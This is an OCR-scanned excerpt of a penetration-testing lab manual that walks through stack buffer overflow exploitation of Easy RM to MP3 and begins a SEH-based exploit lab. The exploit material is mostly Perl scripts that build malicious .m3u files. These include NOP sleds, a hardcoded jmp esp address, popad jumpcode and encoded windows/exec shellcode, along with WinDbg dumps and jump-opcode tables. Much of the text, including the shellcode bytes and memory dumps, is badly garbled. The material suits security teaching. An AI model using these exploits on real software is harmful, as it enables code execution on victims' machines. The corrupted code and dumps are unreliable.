0eeff7be
0eeff7c¢o
000 F7d0
000ff7e0
0ROff7fo
eoeffgeo
000810
0B f820
9:000> d
peeffs830
P0OF 840
© POOFF85E
. BOBFF860
. BRBff870
. 0POff880
0eeff390

The last thing we need to do is overwrite EIP with a “jmp esp”. From part 1 of the lab, we know that this can be

83
38
41
41
41
41
41
41

41

41
41
41
41
41
41
41

41
41
90
90
9@
41
Al

c4
7

41

41
41
41
A1
41

41
41
a1
41
41
41
41
41

41
11
90
90
90
41
41

S5e
ef
41
41
41
41
41
41

41
41
41
41
41
41
41
41

41
96
1%
20
90

41

41

83
08
41
41
41
41
41
41

41
41
41
41
41
41
41
41

41
90
56
j=15]
99
41
41

cd
515
41
41
41
41
41
41

41
41
41
41
41
41
41
41

41
90
E15]
96
cC
41
41

e

e
(5]%]
41
41
41
41
41
41

41
41

41,

41
41
a1
a1
41

41
21%]
90
90
41
41
41

. achieved via address 0x01ccf23a

What will happen when the-overflow occurs ?

« Real shellcode will be placed in the first part of the string that is sent, and will end up at ESP-++300. The

83
415]
41
41
41
41
41
41

41
41
41
41
41
41
41
4l

41
50
99
S50
41
431
41

¢4-5e
ge-41
41-41
41-41
41-41
41-41
41-41
41-41

41-41
41-41
41-41
41-41
41-41
41-41
41-41
41-41

41-41
90-90
98-90
90-90
41-41
41-41
A4l-41

ff
41
41
41
41
41
41
41

41
41
41
41
41
41
41
41

41
L]
S0
90
41
41
41

41
41
41
41
41
41
41

41
41
a1
a1
41
a1
41
41

41
56
125
21%]
41
a1
41

L515]
41
a1
41
41
41
41
41

41
41
41
41
41
4l
41
41

41
90
j=15]
90
41
41
41

el
41
41
41
41
41
41
41

41
4l
41
41
41
41
41
41

41
90
96
90
41
41
41

es5=0023 fs=003b gs=0000

Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-cut or corrupt data.
Missing image name, possible paged-out or corrupt data.

515]
41
41
41
41
a1
41
41

41
41
41
41
41
41
41
4l

41
58
29
151

41
41

nv up ei pl nz na pe nc

515
41
41
41
41
41
41
41

41
41
41
41
41
41
41
41

41
90
90
90
41
41
41

Qe
41
41
41
41
41
41
41

41
41
41
41
41
41
41
41

41
90
90
90
41
41
41

ef1=00000206

.......

AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAALAALA
AAAAAAABAAAAAAAA
AAALAAAAAAAAAAAA
AAAAAAAAAAAAAAAA

AAALAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AALAAAAAAAAAAAAA
AAABAAAAAAAAAAAA
AAAAAAAAAAAAAALA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA

----------------

----------------

real shellcode is prepended with NOP’s to allow the Jjump to be off a little bit
+ EIP will be overwritten with 0x01ccf23a (points to a dli, run “JMP ESP™)

+ 'The data after overwriting EIP will be overwritten with jump code that adds 282 to ESP and then jumps

to that address,
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« After the payload is sent, EIP will jump to esp. This will triggger the jump code to jump to ESP+282.
Nop sled, and shellcode gets executed.

Let’s try with a break as real shellcode :

my $file= "testl.m3u";
my $buffersize = 26094;

my $junk= "A" x 258;

my $nop = "\x98" x 50;

my $shellcode = "\xcc"; #position 300

my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = pack('V',0x@lccf23a); #jmp esp from MSRMCcodec2.dl1l

my $preshellcode = "X" x 4;

my $jumpcode = "\x83\xc4\x5e" .  #add esp,x5e
"AX83\xc4\x5e" . #add esp,@x5e
"\X83\xcd\x5e" . ffadd esp,@xbe
"\xffixed"; #imp esp

my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n”;

open{$FILE, ">$file");

print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);

print "m3u File Created successfully\n";

The generated m3u file will bring us right at our shellcode (which is a break). (EIP = 0x000{f874 = begin of
shellcode )

(d5c.c64): Break instruction exception - code 88000003 (!!! second chance !11)
eax=00000001 ebx=00104a58 ecx=7¢91005d edx-00000040 esi=77c5fced edi=000B6608
eip=000ff874 esp=000ff84a ebp=003440c0 iopl=0 nv up ei pl nz ac po nc
cs=001b s5=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

<Unloaded P32.d11>+0xff863:

00874 cc int 3

©:000> d esp

©eeffe4a 90 90 90 90 90 90 90 90-90 98 90 90 58 90 90 90 .........iee0nnn
OGOTFR5a 90 90 90 90 90 92 98 96-90 90 S0 90 9@ 90 90 90 .........i 00
OoOffR6a OO0 96 90 90 90 9@ 90 90-90 99 cc 41 41 41 41 41 ... AAAAA
Beoff87a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0eeff88a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
geeffg9a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAARAAAAAAAAAAA
poeffgaa 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
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INSTITUTE

0ooff8ba 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

I&Mme&ehamwmhwmemdﬂ@km&@mdmﬂmemeAs“thO%) (shellcode : excluded characters
x00, 0x1f, Oxac, Oxca)

When you replace the A’s with NOPs, you’ll have more space to jump into, so we can live with jumpcode that
only jumps 188 positions further (2 times 5e)

my $file= "testl.m3u";
my $buffersize = 26094;

my $junk= "\x98" x 200;
my $nop = "\X98" x 50;

# windows/exec - 303 bytes

. # nhttp:

. # Encoder: x86/alpha_upper
. # EXITFUNC=seh, CMD=calc

my $shellcode = "\x8%\xe2\xd9\xeb\xd9\x72\xF4\x5b\Xx53\x59\x49\x49\x49\x49" .
"A\X43\x43\X43\x43\x43 \x43\x51\X5a \X56 \ x54\x 58\ x33\x38\x56" .
"AX58\X34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x38\x30\x41"
"\X42\X4I\XEL\XA 2\ X54\ x 41\ x4 I\ X 51\ X 32\ x4 1 \X42\Xx32\x42\x42" .
"\x38\x42\x42\x58\ x50\ x38\x41\x43 \x4a\x4a\x49\x4b\x4c\x4d" .

"AX3B\X5IAX54\ 45\ x50\ x43\ X300\ x45\ x50\ x4 \x4b\x51\x55\x47" .
"\X4c\x4c\X4Ab\x43\ x4\ x44\ x45\x43\x48\ x43\x 31\ x4a\x4F\x4¢c" .
"A\XAbAX50\X4F\Xx45\ x4B\ x4\ x4b\X51\x4F\x51\x30\x45\x51\x4a" .
"\x4b\x50\x49\x4¢ \x4b\x46\x54\x4c \x4b\x45\x51\xda\x4e\x46" .

"\X51\x49\ x50\ x4a\x39\x4e\x4c\x4b\x34\x49\ x50\ x44\ X34\ x45" .

"\X57A\X4I\XET\ 49\ x5a \x44 \ x4d\ x45\x51\ x48\x42 \ xda\ x4b\x4c" .

"\X34\X4 7\ 4b\ X509\ X 54\ x5 1\ X34\ x45\ x54\ x44\ X35\ x4d\x35\x4c" .
"NxADAXSINXAFAXE I\ X34\ %43\ x3 1\ x4a\x4b\ 42\ x46\ x4 c\x4b\x44"

"AX4cAX50\x4b\ X4\ X4b\X51\ x4F\ x45 \x4c\x45\x51\x4a\x4b\x4c" .
“\x4b\x45\x4c\x4c\x4b\x45\x51\x4a \x4b\x4b\x39\x51\x4c\x46"

"\X44\x45\X54\ x4 8\ x43\ x5 1\ x4 F\x46\X51\X4C\X36\ X433\ X568\ x59" .

"AX56\X43\X54\ X4\ x4b\X47\Xx36\x46\x58\x4c\x4b\x47\ X308\ x44"

’ ? "AXACAXACAXADA XA 2\ x50\ x45 \ x4\ xde \ x4d\ xdc \x4b\ x43\ x58\ x44"

A48\ XAd\X59\ x4\ x38\x4d\ x53\ x40\ x50\ x42 \x4a\x46\x30\x45"
"AX38\X4c\x30\x4c\x4a\x45\x54\x51\x4F\x42 \x48\x4d\x48\x4b" .
"\x4e\x4d\x5a\x44\ x4e\ x50\ x57 \x4b\x4F\ x4b\x57\ x42\x43\x43" .
"\x51\x42\x4c\x45\x33\x45\x58\x41\x41”;

: my $restofbuffer = "\x90" x ($buffersize- :
 (length($junk)+length($nop)+length($shellcode)));

my $eip = pack('V',0x8lccf23a); #ijmp esp from MSRMCcodecd2.dll

my $preshellcode = "X" x 4;

my $jumpcode = "\x83\xc4\x5e" . #add esp,oxSe
"\x83\xca\x5e" . #add esp,oxBe
"\xffixed"; #jmp esp
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my $nop2 = "8x80" x 10, # only used to visually separate
my $buffer = $junk.$nop.$shellcode.$restofbuffer;

print "Size of buffer : ".length($buffer)."\n"; |
open($FILE,">$file");

print $FILE $buffer.$eip.$preshellcode.$jumpcode;

close($FILE);
print "m3u File Created successfully\n"
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pwned again :-)

Some other ways to jump

Here are a few other ways o jump:

» popad
« Hardcode address to jump to

The “popap” instruction may help us ‘jumping’ to our shellcode as well. popad (pop all double) will pop
double words from the stack (ESP) into the general-purpose registers, in one action. The registers are loaded in
the following order : EDI, ESI, EBP, EBX, EDX, ECX and EAX. As a result, the ESP register is incremented
after each register is loaded (triggered by the popad). One popad will thus take 32 bytes from ESP and pops

them in the registers in an orderly fashion.

The popad opcode 1s 0x61

So suppose you need to jump 40 bytes, and you only have a couple of bytes to make the jump, you can issue 2
popad’s to point ESP to the shellcode (which starts with NOPs to make up for the (2 times 32 bytes - 40 bytes

of space that we need to jump over))

Let’s use the Easy RM to MP3 vulnerability again to demonstrate this technique :
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We’ll reuse one of the script example from earlier in this lab, and we’ll build a fake buffer that will put 13 X’s
at ESP, then we’ll pretend there is some garbage (D’s and A’s) and then place to put our shellcode (NOPS +
A’s)

my $file= "testl.m3u";
my S$huffersize = 26094;

my $junk= “A" x 250;
my Snop = "\x%0" x 50C;
my $shellcode = "\xcc";

my $restofbuffer = "A" x ($huffersize~ {length ($junk)+length (Snop)+length($shellcode)));

my $eip = "BBBB";
my $preshellcode = "X" x 17; #let's pretend this is the only space we have available
my $garbage = "\x44" x 100; #let’s pretend this is the space we need to jump over

my Sbuffer = $junk.$nop.$shellcode.Srestofbuffer;
print "Size of buffer : ".length(Sbuffer)."\n";

open (SFILE, ">$file™);

i . print $FILE Sbhuffer.$eip.S$preshellcode.égarbage;
L1 close (SFILE) ;

print "m3u File Created successfully\n":

After opening the file in Easy RM to MP3, the application dies, and ESP looks like this :

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000001 ebx=00104a58 ecx=7c9%91005d edx=003f0000 esi=77c5fceld edi=0000666d
elp=42424242 esp=000£f£730 ebp=00344158 iopl=0 nv up el pl nz na pe nc
¢5=001b s5s5=0023 ds=0023 es=0023 fs=003b gs=0000 efl=0001020¢6
Missing image name, possible paged-cut or corrupt data.

Missing image name, possible paged-ocut or corrupt data.

Missing image name, possible paged-out or corrupt data.

<Unloaded P32.d11>+0x42424231:

42424242 727 PP

C:000> d esp

D00L£730 58 58 58 58 58 58 58 58-58 58 58 958 58 44 44 44 XXXUXXXXXXKXXXDDD | => 13
bytes

000££740 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 pDDDDDDDDDDDDDDD => garbage
000L££750 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD => garbage
COOL££760 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDRDDDDDDDDDDDD => garbage

!
i
|
O00LL77C 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD | => garbage
|
|
I

000££780 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD => garbage
000££790 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDODDDDDDDD => garbage
000££7a0 00 41 41 41 41 41 41 41-4: 41 41 41 41 41 41 41 .AAAAAAAAAAAARAA => garbage
G:000> d

000££700 41 41 41 43 41 41 41 41-41 41 41 41 41 41 41 4} AAAAAAABAARARAAARA => garbage
000££7c0 41 41 41 41 41 41 41 41-41 41 41 431 41 41 4% 41 AAAARAAAAAAAAAAAL => garbage
000f££740 41 41 41 41 41 41 41 41-41 431 41 41 41 41 41 41 AAAAAAAAAAAAAAAA => garbage

000££7£0 41 41 41 41 41 41 41 41-41 41 41 41 41 4@ 41 41 AAAARAAAAAAAAAAA => garbage

E
|
i
000f£7e0 41 41 41 41 41 41 41 4i-41 41 41 41 41 41 41 41 AARARARAARAARAARAAA | => garbage
l
CCOLL£800 41 41 41 41 41 41 41 41-41 41 41 41 431 41 41 41 AAAAAARAAAAAABAA | => garbage
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0COf£810 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAARABARAAARAAA | => garbage
0COf££820 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AARAAAAAAAAAAAAAA | => garbage
0:000> d

000££830 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAARAAARAAARARAAR | => garbage
Q00L££840 41 41 90 80 20 90 90 90-90 90 90 90 90 90 90 S0 AA.........c.v... | => garbage
Q00E££850 90 90 90 890 90 90 90 920-90 90 90 20 90 90 90 S0  ....... . euun.n | =>
NOPS/Shellcode

QOOE£860 B0 90 90 90 90 S0 80 S0-50 90 90 S0 90 90 B0 S0 ... .. ... | =>
NOPS/Shellcode

O000f£870 90 90 80 S0 cc 41 41 41-41 41 41 41 41 41 41 41 . .... AAADBAAAARABA | =>
NOPS/Shellcode

OGOE££880 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAARAAAAALAAAA | =>

NOPS/Shellcode
Q00££890C 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAARAARAAARARA | =>

NOPS/Shellcode
000f£8a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAARAAAAAAARAAA | =>

NOPS/Shellcode

Let’s pretend that we need to use the 13 X’s (so 13 bytes) that are available directly at ESP to jump over 100
D’s (44) and 160 A’s (so a total of 260 bytes) to end up at our shellcode (starts with NOPs, then a breakpoint,
and then A’s (=shellcode))

One popad = 32 bytes. S0 260 bytes = 9 popad’s (-28 bytes)
(so we need to start our shellcode with nops, or start the shellcode at {start of shellcode]+28 bytes

In our case, we have put some nops before the shellcode, so let’s try to “popad” into the nops and see if the
application breaks at our breakpoint.

First, overwrite EIP again with jmp esp. (see one of the previous exploit scripts)

Then, instead of the X’s, perform 9 popad’s, followed by “jmp esp™ opcode (0xff,0xe4)

my $file= "testl.m3u":
my Shuffersize = 26084;

my $junk= "A" x 250;

my $nop = "\x%0" x 50;

my $shellcode = "\xcc";

ny Srestofbuffer = "A" x ($bhuffersize- (length ($junk) +length($nop)+length ($shellcode))):
mny Seip = pack{'V',0x01lccfz3a); #Jimp esp from MSRMCcodec02.dl1

my $preshellcode = "X" x 4; # needed to point ESP at next 13 bytes below
S$preshellcode=Spreshellicode."\x61" % 9; #9 popads

Spreshellcode=Spreshellcode. "\xff\xed"; #10th and 1lth byte, jmp esp
Spreshellcode=35preshellcode. "\x90\x90\x90"; #fill rest with some nops

my $garbage = "\x44" x 100; i#garbage to jump over
my Shuffer = $junk.Snop.$shellcode.Srestofbuffer;

print "Size of buffer : ".length($buffer)."\n";

open (SFILE, ">5file™);
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print SFILE Sbuffer.S$eip.S$preshellcode. $garbage;

close ($FILE);

print "m3u File Created successfullyi\n";
After opening the file, the application does indeed break at the breakpoint. EIP and ESP look like this :

(f40.5£0) :
eax=909090%0 ebx=%0804141 ecx=9%90909090 edx=90909090 esi=41414141 edi=41414141

Break instruction exception - code 80000003

eip=000££874 esp=000£f£850 ebp=41414141 iopl=0

cs=001b

Missing image
Missing image

Missing image name,
<Unlcaded P32.dl1>+0xf£863:
000££874 cc int
0:000> d &ip

000f£874 cc 41 41 41 41 41
000f£884 41 41 41 41 41 41
000££894 41 41 41 41 41 41
0COffB8a4d4 41 41 41 41 41 41
0CO£f8b4 41 41 41 41 41 41
000ff8cd 41 41 41 41 41 41
000f£8d4 41 41 41 41 41 41
000ff8ed 41 41 41 41 41 41
0:000> d eip-32

0GOf£842 9C 90 %0 %0 %0 90
0CO££852 80 90 S0 SC 90 90
OCOff862 90 90 9C 90 9C 9O
000££872 90 90 cc 41 41 41
000f££882 41 41 41 41 41 41
000f££892 41 41 41 41 41 41
000f£8a2 41 41 41 41 41 41
000f££f8b2 41 41 41 41 41 4%
0:000> 4 esp

000££850 90 90 90 20 20 %0
000f£860 90 9C 9C 90 9C 9¢C
Q00f£870 90 %G 90 90 cc 41
O00f£880 41 41 41 41 41 41
O00E£890 41 41 41 41 41 41
000££8al 41 41 41 41 41 41
COOf£8bC 41 41 41 41 41 41
0COLf8c0 41 41 41 41 41 41

=> the popad’s have worked and made esp point at the nops. Then the jump to esp was made (0x{f Oxe4), which
made EIP jump to nops, and slide to the breakpoint {at 000{874)

s53=03023 ds=0023

es=0023

fs=003b gs=0000
name, possikble paged-out or corrupt data.
name, possible paged-out or corrupt data.

{(first chance}

nv up &i pl nz na pe nc
ef1=00000206

possible paged-out or corrupt data.

41
41
41
41
41
41
41
41

20
90
SC
41
41
41
41
41

20
90
41
41
41
41
41
41

Replace the A’s with real shellcode ;

3

41-41
41-41
41-41
41-41
41-41
41-41
41-41
41-41

90-90
20-90
%0-90
41-41
41-41
41-41
41-41
41-41

90-90
90-90
41-41
41-41
411-41
41-41
41-41
41-41

41
41
41
41
41
41
41
41

90
90
30
41
41
41
41
41

90
90
41
41
41
41
41
41

41
41
41
41
41
41
41
41

90
90
g0
41
41
41
41
41

90
90
41
41
41
41
41
41

41
41
41
41
41
41
41
41

90
80
90
41
41
41
41
41

9C
90
41
41
41
41
41
41

41
41
41
41
411
41
41
41

90
90
90
41
41
41
41
41

S0
20
41
41
41
41
41
41

41
11
41
41
41
41
41
41

80
20
90
41
41
41
41
41

S0
80
41
41
41
41
41
41

41
41
41
41
41
41
41
41

o
ac
90
41
41
41
41
41

S0
S0
41
11
41
41
41
41

41
41
41
41
41
41
41
41

g0
ac
90
41
41
41
41
41

S0
90
41
41
41
41
41
41

.AARAAARAADAADLAR
AAAAARAAAAAADDAA
AAAARAAAABAAARMAA
AARAARARARAAARLA
ARAAAADADDADABLA
AAAADADAAADAADAAAA
ABAAARAAARADAARALR
AAAAAAABRDABRAAA

.. ABRARARAAAADAR
ARBRARRAAARBRARAA
ARAARAARDAARAAAR
ARAAAAAARAARAARRA
AARAAAAARADADNRADLR

AAAAAAARAAARRALD
AARRAARAARRARAAL
AARAAARMAABARAAABAL
ARAARARARARARRAAAR
AARAARLAAARRRARAR
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pnwed again !

Another (less preferred, but still possible) way to jump to shellcode is by using jumpcode that simply jumps to
the address (or an offset of a register). Since the addresses/registers could vary during every program
execution, this technique may not work every time.

So, in order to hardcode addresses or offsets of a register, you simply need to find the opcode that will do the
jump, and then use that opcode in the smaller “first”/stagel buffer, in order to jump to the real shellcode.

You should know by now how to find the opcode for assembler instructions, so we will cover only two
examples :

1. jump to 0x12345678

0:000> a
7090120 jmp 12345578
Jmp 12345678

7¢901213

0:000> u 7¢80120e

ntdll!DbgBreakPoint:
T¢c90120e e96544a485 jmp 12345678

=> gpcode is 0xe9,0x65,0x44,0xa4,0x95

2. jump to ebx+124h

0:000> a
7c901214 add ebx, 124
add ebx, 124
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T7c90121ia jmp ebx
imp ebx
7c80121c¢c

0:000> u 7c901214
ntdll!bbgUserBreakPoint+0x2:

7c901214 81c¢c32401C000 add ebx, 124h
7c9012la ffel jmp ebx

=> opcodes are 0x81,0xc3,0x24,0x01,0x00,0x00 (add ebx 124h) and 0xff,0xe3 (jmp ebx)

Short jumps & conditional jumps

In the event you need to jump over just a few bytes, then you can use a couple ‘short jump’ techniques to
accomplish this:

- Short jump : (jmp) : opcode Oxeb, followed by the number of bytes. So if you want to jump 30 bytes, the
opcode 1s Oxeb Oxle

- Conditional (short/near) jump : (“jump if condition is met”) : This technique is based on the states of one or
more of the status flags in the EFLAGS register (CF,OF,PF,SF and ZF). If the flags are in the specified state
(condition), then a jump can be made to the target instruction specified by the destination operand. This target
instruction is specified with a relative offset (relative to the current value of EIP).

Example : suppose you want to jump 6 bytes : Have a look at the flags (ollydbg), and depending on the flag
status, you can use one of the opcodes below

Let’s say the Zero flag is 1, then you can use opcode 0x74, followed by the number of bytes you want to jump
(0x06 in our case)

‘This is a little table with jump opcodes and flag conditions :

l Code Mnemonic Description l
‘ 77 ¢b JA reld Jump short if above (CF=0 and ZF=0) l
173 ¢b JAE rel8 Jump short if above or equal (CF=0) |
lf 72 ¢cb JB rel8 Jump short if below (CF=I)

E“"/‘6cbwm JBE rel8 JumpghonifdeW(nequﬂ(CF=IorZF=I) l
72 cb ICrels Jump short if carry (CF=1) |
lE3cbg - JCXZ rei8 Jump short if CX register is 0 F
E E3 cb o JECXZ rel8 Jump short if ECX register is 0 i
374cb o JErd8Am Jumpsgon&fequﬂ(ZF=1) |
I7Fcb JG rel8 Jamp short if greater (ZF=0 and SF=0F)

Copyright InfoSec Institute, Inc. | Expert Penetration Testing Lab Manual




JGE 1(:18 Jump shott if greater or equal (SF=0F)

F7'ch JL IC[S Jump sho[t if less (SI:;-:‘OP)

r"fgci) JLE 1e18 meJum} shmt [fICSS or egual (ZF=1 or SP<>OI‘) ---------- ;
i17’6 cb ) JNA rel8 ”iLJump shoxt lfnot above (CF=1 or ZF=1) 7
";2 cb s fNAh ret8 Jump short 1fnot above or equal (CF=1) ]l
! 73 cb ; FNB rel8 *Jump short [f;;l(}{ below (CF=0) "'“"l
r7’7’ cb JNBE rel8 Jump shorl if not below or equal (CF=0 al;;iu};F—O) J
73 ¢b INC rel8 Jump short if not cauy {CF=0) '
75 cbw INE relS --------------------- Jump short if not equal (Zl'ﬂds ‘‘‘‘‘‘‘ j
7E cb ING rel8 Jump short if not greater (ZF=1 or SF<>0F)

7Cch INGE rel8 Jump short if not greater or equal (SF<>0F)

7D ¢cb INL rel8 Jump short if not less (SF=0F} l
TF ¢b INLE rclS Jump short if not less or equal (ZF=0 and SF=0F) |
l ’;;ci) INO re18 o Jump S]lOIt if not overﬂow (OF=0) '
7B cb JNP rel8 Jumyp short if not parity (PF=0) |
79 ¢b JNS rel8 Jump short if not sign (SF=0}

75 ¢b JNZ rel8 Jump short if not zero (ZF=0)

7~0 cb JO rel8 Jump short if overflow (OF=1)

r TA cb IP rel8 Jump short if parity (PF=1) ,
I TA cb JPE rel8 Jump short if parity even (PF=1) i
i 7B cb | M:T“PO rel8 ) Jump short if parity odd (PF=0) Jl
l 78 ¢cb JS reld Jump short if sign {(SF=1) o
i 74 ch JZ rel8 Jump short if zero (21 = 1)

’ OF 87 cwicd | JA rell16/32 Jump near if above (CF=0 and ZF=0)

rOF 83 cw/cd | JAE rell6/32 Jump near lfabove or equal (CF=0)

.
“OF 82 cw/ed

IB rel16/32 Jump near [fbe ow (CF=1)
I OF 86 cw/cd [ JIBE rell6/32 | Jump near if below or equa (CF=1 or ZF=1)
| OF 82 cw/cd 1 JC rel16/32 Jump near if carry (CF—I)
OF 84 cwied | JErel16/32 | Jurnp near if equal (ZF=1)
OF 84 cw/cd i JZ rell6/32 Jump near if 0 (ZF=1) "
1 OF 8F cw/ed | JG réll6/32 Jump near if greater (ZF%O and SF=0F)
r{)FSDcw/cd JGE;ell6/32 - Jump near if greater or equal (SF OE‘)
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01* 8C cw/cd 1 JL reli6/32 Jump near 11“ less (SF<>0F)

OP 8L cw/cd JLE re116/32n ) Jump neauf less or equal (ZF=1 or SF<>OI~)
r(SI;“W?.SE.cw/cd INA Ieli6/32 Tump near 1fn0t above (CF=1 or ZF 1)

0}‘ 82 cw/cd JNAE 16[16/32 “J ump near if not above oz;c“{ual(k(:lrl) !
: OF 83 cw/ed .jNB rel16/32 | Jump near 1fnot below (CF=0) ”
OF 87 ew/cd : INBE rell16/32 | Jump near if not below or equal (CF =0 and ZF= O) }
T OF 83 cw/cd {INCrell6/32 | Jump near if not carry (CF=0) }
l 0F 85 cwicd | INE r6116/32 Jump near if not equal (ZF=0) ’
E OF 8E cw/cd | ING 1e116/32 Jump near if not greater (ZF=1 or SF<>0F) j
OF 8C cw/cd | INGE rel16/32 | Jump near if not greater or equal (SF<>QOF) %
OF 8D ew/ed | INL rell6/32  } Jump near if not less (SF=0F)
i OF &F cw/ed | INLE rell6/32 | Jump near if not less or equal (ZF= O and SFSOFw)- -
OF 81 cwled | INO rel16/32 | Jump near if not overflow (OF=0)

. I OF 8B cw/cd | JNP 1‘6116'/32 Jump near if not parity (PF=0)

[OF 89 cw/ed | INS rel16/32 | Jump near if not sign (SF=0) |
0F 85 cwled INZ 10116532 | Tump near if not 610 (ZF~0) |
I 0F 80 ew/cd | JO retl16/32 Jump near if overflow (OF=1) 1
‘ OF 8A cwicd | TP rel16/32 Jump near if parity (PF=1) 3
E OF 8A cwicd | JPE rell6/32 | Jump near if parity even (PF=1) l
OF 8B ew/ed | JPO rell16/32 | Jump near if parity odd (PF=0) ;
OF88cwicd |JStell6532 | Jump near if sign (SF=1) |
! OF 84 cw/cd | JZ rell6/32 Jump near if 0 (ZF=1) ]

As you can see in the table, you can also do a short jump based on register ECX being zero. One of the
Windows SEH protections (see next lab) that have been put in place is the fact that registers are cleared when an
exception occurs. So sometimes you will even be able to use 0xe3 as jump opcode (if ECX = 060000000)

Note : You can find more/other information about making 2 byte jumps (forward and backward/negative jumps)
at hitp://www.geocities.com/thestarman3/asm/2bytejumps.htm

Backward jumps

In the event you need to perform backward jumps (jump with a negative offset) : get the negative number and
convert it to hex. Take the dword hex value and use that as argument to a jump (\xeb or \xe9)

Example : jump back 7 bytes : -7 = FFFFFFF9, so jump -7 would be "xeb\xfi\x fix "
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Exampe : jump back 400 bytes : -400 = FFFFFE70, so jump -400 bytes = "xe9\x 70\ fe\x f'x{f" (as you can
see, this opcode is 5 bytes long. Sometimes (if you need to stay within a dword size (4 byte limit), then you
may need to perform multiple shorter jumps in order to get where you want to be)
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Lab #3
Writing a SEH Based Exploit
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In the first labs we have discussed how a classic stack buffer overflow works and how you can build a reliable
exploit by using various techniques to jump to the shellcode. The example we have used allowed us to directly
overwrite EIP and we had a pretty large buffer space to host our shellcode. On top of that, we had the ability to
use multiple jump techniques to reach our goal. But not all overflows are that casy.

Today, we’ll look at another technique to go from vulnerability to exploit, by using exception handlers.

What are exception handlers ?

An exception handler is a piece of code that is written inside an application, with the purpose of dealing with
the fact that the application throws an execption. A typical exception handler looks like this :

Cbry
{

2}
| catch

1

A quick look on the stack on how the try & catch blocks are related to each other and placed on the stack :

Top of stack
—~
Local vars
*Cucptionhandir cods Thsis heframe st
: P : Saved EBP excaption handiing
catch { try {
: ry
: Saved EIP >
] H
. h }
Params
Address of exception handler
vy
-
;;,.. Maore frames
Bottom of stack vy

(Note : "Address of exception handler” is just one part of a SEH record — the image above is an abstract
representation, merely showing the various components)

Windows has a default SEH (Structured Exception Handler) which will catch exceptions. If Windows catches
an exception, you’ll see a “xxx has encountered a problem and needs to close” popup. This is often the result of
the default handler kicking in. It is obvious that, in order to write stable software, one should try to use
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development language specific exception handlers, and only rely on the windows default SEH as a tast resort,
When using language EH’s, the necessary links and calls to the exception handling code are generate in
accordance with the underlying OS. (and when no exception handlers are used, or when the available exception
handlers cannot process the exception, the Windows SEH will be used. (UnhandledExceptionFilter)). So in the
event an error or illegal instruction occurs, the application will get a chance to catch the exception and do
something with it. If no exception handler is defined in the application, the OS takes over, catches the
exception, shows the popup (asking you to Send Error Report to MS).

In order for the application to be able to go to the catch code, the pointer to the exception handler code is saved
on the stack (for each code block). Each code block has its own stack frame, and the pointer to the exception
handler 1s part of this stack frame. In other words : Each function/procedure gets a stack frame. If an exception
handler is implement in this function/procedure, the exception handler gets its own stack frame. Information
about the frame-based exception handler is stored in an exception_registration structure on the stack.

This structure ( also called a SEH record) is 8 bytes and has 2 (4 byte) elements :
» apointer to the next exception_registration structure (in essence, to the next SEH record, in case the
current handler is unable the handle the exception)

+ apointer, the address of the actual code of the exception handler. (SE Handler)

Simple stack view on the SEH chain components :

stack
top

& Pointer o next SEH record . . w Exception_handlerl
5 L] °
M Painter to Exception Handler
o™
g ' ! :
£ Pointer to aext SEH recorg N : ‘-’*' Exception_handler{} l
&
M Pginter to Exception Handler
o~ ~ .
g Pointer to next SEM record 3 - “Fl Exception_handlers(} l
2
M Pointer to Exception Handler
™
" .
g OXEFFFFE L) R VF MSVCRT lexhandler j
M Befault exception handler 7 1 bottom
(o]

At the top of the main data block (the data block of the application’s “main” function, or TEB (Thread
Environment Block) / TIB (Thread Information Block)), a pointer to the top of the SEH chain is placed. This
SEH chain 1s often called the FS:[0] chain as well.
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So, on Intel machines, when looking at the disassembled SEH code, you will see an instruction {o move
DWORD ptr from FS:[0]. This ensures that the exception handler is set up for the thread and will be able to
catch ervors when they occur. The opcode for this instruction is 644100000000. If you cannot find this opcode,
the application/thread may not have exception handling at all.

Alternatively, you can use a OllyDBG plugin called OllyGraph to create a Function Flowchart.

The bottom of the SEH chain is indicated by FFFFFFFFE. This will trigger an improper termination of the
program {and the OS handler will kick in)

Quick example : compile the following source code (sehtest.exe) and open the executable in windbg. Do NOT
start the application yet, leave it in a paused state : '

#include<stdio.h>
#include<string.h>
#include<windows.h>

int ExceptionHandler(void);
int main(int argc,char *argv[]){

char temp[512];

printf("Application launched");

_try {
strepy(temp,argv[1]);

} __except ( ExceptionHandler() ){
by

return @;

}

int ExceptionHandler(void){
printf{"Exception™};
return @;

}

look at the loaded modules

Executable search path is:

Modl.oad: 90400000 ©049c00¢  c:\sploits\seh\lcc\sehtest.exe
